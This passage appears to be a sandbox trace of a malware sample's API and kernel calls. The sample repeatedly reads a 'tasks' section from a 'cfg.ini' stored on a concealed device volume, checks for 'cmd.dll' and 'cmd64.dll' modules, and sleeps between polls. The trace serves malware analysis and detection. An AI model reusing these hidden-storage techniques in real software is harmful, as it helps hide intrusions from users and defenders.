KeEnterCriticalRegion () [0118.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.102] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.102] IdePortDispatch () returned 0x103 [0118.103] KeWaitForMutexObject () returned 0x0 [0118.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.103] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.103] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.103] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.103] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.103] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1180 [0118.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.103] KeLeaveCriticalRegion () [0118.103] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.103] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.103] KeEnterCriticalRegion () [0118.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.103] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.103] KeLeaveCriticalRegion () [0118.103] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.103] KeEnterCriticalRegion () [0118.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.103] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.103] IdePortDispatch () returned 0x103 [0118.104] KeWaitForMutexObject () returned 0x0 [0118.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.104] KeLeaveCriticalRegion () [0118.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.104] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.104] KeEnterCriticalRegion () [0118.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.104] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6b000 [0118.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.104] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.104] IdePortDispatch () returned 0x103 [0118.104] KeWaitForMutexObject () returned 0x0 [0118.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.105] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.105] IdePortDispatch () returned 0x103 [0118.105] KeWaitForMutexObject () returned 0x0 [0118.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.105] KeLeaveCriticalRegion () [0118.105] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.106] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.106] KeEnterCriticalRegion () [0118.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.106] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.106] KeLeaveCriticalRegion () [0118.106] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.106] KeEnterCriticalRegion () [0118.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.106] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.106] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.106] KeLeaveCriticalRegion () [0118.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.106] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.106] KeEnterCriticalRegion () [0118.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.106] ExFreePoolWithTag (P=0xfffffa80039d1180, Tag=0x0) [0118.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.106] KeLeaveCriticalRegion () [0118.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.106] ReleaseMutex (hMutex=0xf0) returned 1 [0118.106] Sleep (dwMilliseconds=0x927c0) [0118.125] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.125] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.125] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.125] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.125] KeEnterCriticalRegion () [0118.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.125] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.125] IdePortDispatch () returned 0x103 [0118.125] KeWaitForMutexObject () returned 0x0 [0118.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.125] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.125] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.125] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.125] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.125] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa63a0 [0118.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.125] KeLeaveCriticalRegion () [0118.125] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.125] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.125] KeEnterCriticalRegion () [0118.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.126] KeLeaveCriticalRegion () [0118.126] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.126] KeEnterCriticalRegion () [0118.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.126] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.126] IdePortDispatch () returned 0x103 [0118.126] KeWaitForMutexObject () returned 0x0 [0118.126] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.126] KeLeaveCriticalRegion () [0118.126] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.126] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.126] KeEnterCriticalRegion () [0118.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.126] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c70000 [0118.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.126] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.126] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.126] IdePortDispatch () returned 0x103 [0118.127] KeWaitForMutexObject () returned 0x0 [0118.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.127] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.127] IdePortDispatch () returned 0x103 [0118.127] KeWaitForMutexObject () returned 0x0 [0118.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.127] KeLeaveCriticalRegion () [0118.127] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.128] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.128] KeEnterCriticalRegion () [0118.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.128] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.128] KeLeaveCriticalRegion () [0118.128] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.128] KeEnterCriticalRegion () [0118.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.128] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.128] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d2070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.128] KeLeaveCriticalRegion () [0118.128] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.128] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.128] KeEnterCriticalRegion () [0118.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.128] ExFreePoolWithTag (P=0xfffffa8003aa63a0, Tag=0x0) [0118.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.128] KeLeaveCriticalRegion () [0118.128] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.128] ReleaseMutex (hMutex=0xf0) returned 1 [0118.129] Sleep (dwMilliseconds=0x927c0) [0118.158] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.158] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.158] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.158] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.158] KeEnterCriticalRegion () [0118.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.158] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.158] IdePortDispatch () returned 0x103 [0118.159] KeWaitForMutexObject () returned 0x0 [0118.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.159] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.159] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.159] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.159] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.159] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ada7e0 [0118.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.159] KeLeaveCriticalRegion () [0118.159] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.159] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.159] KeEnterCriticalRegion () [0118.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.159] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.159] KeLeaveCriticalRegion () [0118.159] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.159] KeEnterCriticalRegion () [0118.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.159] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.159] IdePortDispatch () returned 0x103 [0118.159] KeWaitForMutexObject () returned 0x0 [0118.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.160] KeLeaveCriticalRegion () [0118.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.160] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.160] KeEnterCriticalRegion () [0118.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.160] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8d000 [0118.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.160] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.160] IdePortDispatch () returned 0x103 [0118.160] KeWaitForMutexObject () returned 0x0 [0118.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.160] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.160] IdePortDispatch () returned 0x103 [0118.161] KeWaitForMutexObject () returned 0x0 [0118.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.161] KeLeaveCriticalRegion () [0118.161] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.161] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.161] KeEnterCriticalRegion () [0118.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.161] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.161] KeLeaveCriticalRegion () [0118.161] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.161] KeEnterCriticalRegion () [0118.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.161] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.162] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.162] KeLeaveCriticalRegion () [0118.162] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.162] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.162] KeEnterCriticalRegion () [0118.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.162] ExFreePoolWithTag (P=0xfffffa8003ada7e0, Tag=0x0) [0118.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.162] KeLeaveCriticalRegion () [0118.162] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.162] ReleaseMutex (hMutex=0xf0) returned 1 [0118.162] Sleep (dwMilliseconds=0x927c0) [0118.180] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.180] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.180] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.180] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.180] KeEnterCriticalRegion () [0118.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.180] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.180] IdePortDispatch () returned 0x103 [0118.180] KeWaitForMutexObject () returned 0x0 [0118.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.181] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.181] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.181] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.181] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.181] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039b7820 [0118.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.181] KeLeaveCriticalRegion () [0118.181] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.181] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.181] KeEnterCriticalRegion () [0118.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.181] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.181] KeLeaveCriticalRegion () [0118.181] _snprintf (in: 